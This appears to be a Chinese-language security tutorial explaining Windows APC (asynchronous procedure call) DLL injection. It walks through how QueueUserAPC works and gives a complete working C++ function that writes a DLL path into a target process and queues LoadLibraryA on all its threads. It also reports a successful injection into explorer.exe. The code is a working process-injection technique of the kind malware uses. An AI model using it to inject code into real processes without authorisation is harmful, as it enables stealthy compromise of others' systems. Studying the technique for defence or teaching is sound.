背景
APC,即异步过程调用(Asynchronous Procedure Call)是函数(过程)在特定线程中被异步执行。在Microsoft Windows操作系统中,APC是一种并发机制,用于异步IO或者定时器。
每一个线程都有自己的APC队列,可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该线程是处于可通知状态,调用的顺序为先入先出(FIFO)。
函数介绍
QueueUserAPC
// 如果函数成功,返回值为非零。
DWORD WINAPI QueueUserAPC(
_In_ PAPCFUNC pfnAPC, // 指向应用程序提供的APC函数的指针
_In_ HANDLE hThread, // 线程的句柄
_In_ ULONG_PTR dwData // 传递给由pfnAPC参数指向的APC函数的单个值
);
实现过程
APC(Asynchronous Procedure Call),即异步程序调用。在Windows系统中,每个线程都会维护一个线程APC队列,通过 QueueUserAPC把一个APC函数添加到指定线程的APC队列。每个线程都由它自己的APC队列,这个APC队列纪录了要求线程去执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC函数,对于用户模式下是APC队列,当线程处在alertable状态时才去执行这些APC函数。一个线程内部使用SignalObjectAndWait 、SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx或MsgWaitForMultipleObjectsEx等函数把自己挂起时就是进入alertable状态,此时便会执行APC队列的函数。
QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。
一个进程中,包含有多个线程,为了确保插入的APC能够被执行,所以,向目标进程的所有线程都插入相同的APC,实现加载DLL的操作。这样,只要进程中任意线程被唤醒,开始执行APC的时候,便会执行插入的APC,实现DLL注入。
那么,实现APC注入的具体流程如下所示:
- 首先,通过OpenProcess函数打开目标进程,获取目标进程的句柄。
- 然后,通过调用WIN32 API函数CreateToolhelp32Snapshot、Thread32First以及Thread32Next遍历线程快照,获取目标进程的所有线程ID。
- 接着,调用VirtualAllocEx函数在目标进程中申请一块内存,并通过WriteProcessMemory函数向内存中写入注入的DLL路径。
- 最后,遍历上述获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄。并调用QueueUserAPC函数向线程插入APC 函数,设置APC函数的地址为LoadLibraryA函数的地址,并设置APC函数参数为上述DLL路径地址。
- 只要目标进程中任意线程被唤醒,便会执行APC,完成注入DLL操作
代码
// APC注入
BOOL ApcInjectDll(char *pszProcessName, char *pszDllName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD *pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
DWORD i = 0;
do
{
// 根据进程名称获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
// 根据PID获取所有的相应线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
// 打开注入进程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
// 在注入进程空间申请内存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申请的空间中写入DLL路径数据
::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}
// 获取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}
// 遍历线程, 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
// 打开线程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
// 释放内存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}
测试
将上述函数编译为64位程序,在64位Windows 10系统上,直接运行上述函数对资源管理器进程explorer.exe进行APC注入,注入完成后,立马弹出DLL的提示窗,如图所示,所以APC注入DLL成功完成。
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行DLL加载代码,进而完成DLL注入。其中,为了增加APC被执行的可能性,所以向目标进程中所有的线程都插入的APC。
如果出现向指定进程的所有线程插入APC导致进程崩溃的问题,可以采取倒序遍历线程ID的方式进行倒序插入来解决程序崩溃问题。